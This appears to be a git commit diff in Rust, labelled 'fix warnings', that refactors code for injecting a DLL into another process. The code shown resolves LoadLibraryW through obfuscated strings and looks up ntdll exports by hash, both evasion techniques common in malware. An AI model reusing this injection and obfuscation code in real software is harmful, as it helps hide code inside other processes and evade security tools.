fix warnings

This commit is contained in:
KingKDot
2026-08-20 10:25:33 -05:00
parent a9b7ca67ea
commit ea22c83c37
3 changed files with 20 additions and 29 deletions
+3 -2
View File
@@ -317,7 +317,8 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
dbg_log!("inject: system dll not loaded — abort");
return false;
}
let load_library_w = unsafe { abi::GetProcAddress(k32, obf!(b"LoadLibraryW").as_ptr()) };
let load_library_name = obf!(b"LoadLibraryW");
let load_library_w = unsafe { abi::GetProcAddress(k32, load_library_name.as_ptr()) };
if load_library_w == 0 {
dbg_log!("inject: load-fn not found — abort");
return false;
@@ -431,4 +432,4 @@ mod tests {
assert!(offset > 0, "loader offset must be inside the image");
assert!((offset as usize) < dll.len());
}
}
}
+16 -16
View File
@@ -105,22 +105,22 @@ fn open_log() -> Option<usize> {
fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
let env_name = obf16!(b"TEMP");
let mut temp = [0u16; 32768];
unsafe {
let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32);
if len == 0 || len >= temp.len() as u32 {
return None;
}
let prefix = &temp[..len as usize];
let base = concat_z(prefix, &obf16!(b"\\Overlord"));
let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage"));
let pid = abi::GetCurrentProcessId();
let mut file = prefix.to_vec();
file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-"));
append_pid(&mut file, pid);
file.extend_from_slice(&obf16!(b".log"));
file.push(0);
Some((base, dir, file))
let len = unsafe {
abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32)
};
if len == 0 || len >= temp.len() as u32 {
return None;
}
let prefix = &temp[..len as usize];
let base = concat_z(prefix, &obf16!(b"\\Overlord"));
let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage"));
let pid = unsafe { abi::GetCurrentProcessId() };
let mut file = prefix.to_vec();
file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-"));
append_pid(&mut file, pid);
file.extend_from_slice(&obf16!(b".log"));
file.push(0);
Some((base, dir, file))
}
fn concat_z(prefix: &[u16], suffix: &[u16]) -> Vec<u16> {
@@ -147,4 +147,4 @@ fn append_pid(v: &mut Vec<u16>, mut pid: u32) {
n -= 1;
v.push(digits[n]);
}
}
}
+1 -11
View File
@@ -84,16 +84,6 @@ unsafe fn wr_u8(p: usize, off: usize, v: u8) {
core::ptr::write_volatile((p + off) as *mut u8, v);
}
#[inline(always)]
unsafe fn wr_u16(p: usize, off: usize, v: u16) {
core::ptr::write_volatile((p + off) as *mut u16, v);
}
#[inline(always)]
unsafe fn wr_u32(p: usize, off: usize, v: u32) {
core::ptr::write_volatile((p + off) as *mut u32, v);
}
#[inline(always)]
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
core::ptr::write_volatile((p + off) as *mut u64, v);
@@ -545,4 +535,4 @@ mod tests {
assert_ne!(export_by_hash(ntdll, NTFLUSH_HASH), 0);
}
}
}
}